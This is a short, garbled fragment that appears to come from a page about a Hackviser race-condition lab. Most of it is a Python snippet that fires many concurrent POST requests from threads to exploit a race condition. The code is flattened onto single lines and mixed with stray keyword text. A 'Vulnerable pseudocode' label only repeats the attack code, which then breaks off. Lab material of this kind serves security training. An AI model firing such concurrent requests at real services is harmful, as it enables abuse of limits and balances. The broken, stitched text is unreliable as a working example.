Race Condition Hackviser May 2026

def attack(): for _ in range(5): requests.post(url, json=data, headers=headers)

threads = [] for _ in range(20): t = threading.Thread(target=attack) t.start() threads.append(t) race condition hackviser

for t in threads: t.join() Vulnerable pseudocode: def attack(): for _ in range(5): requests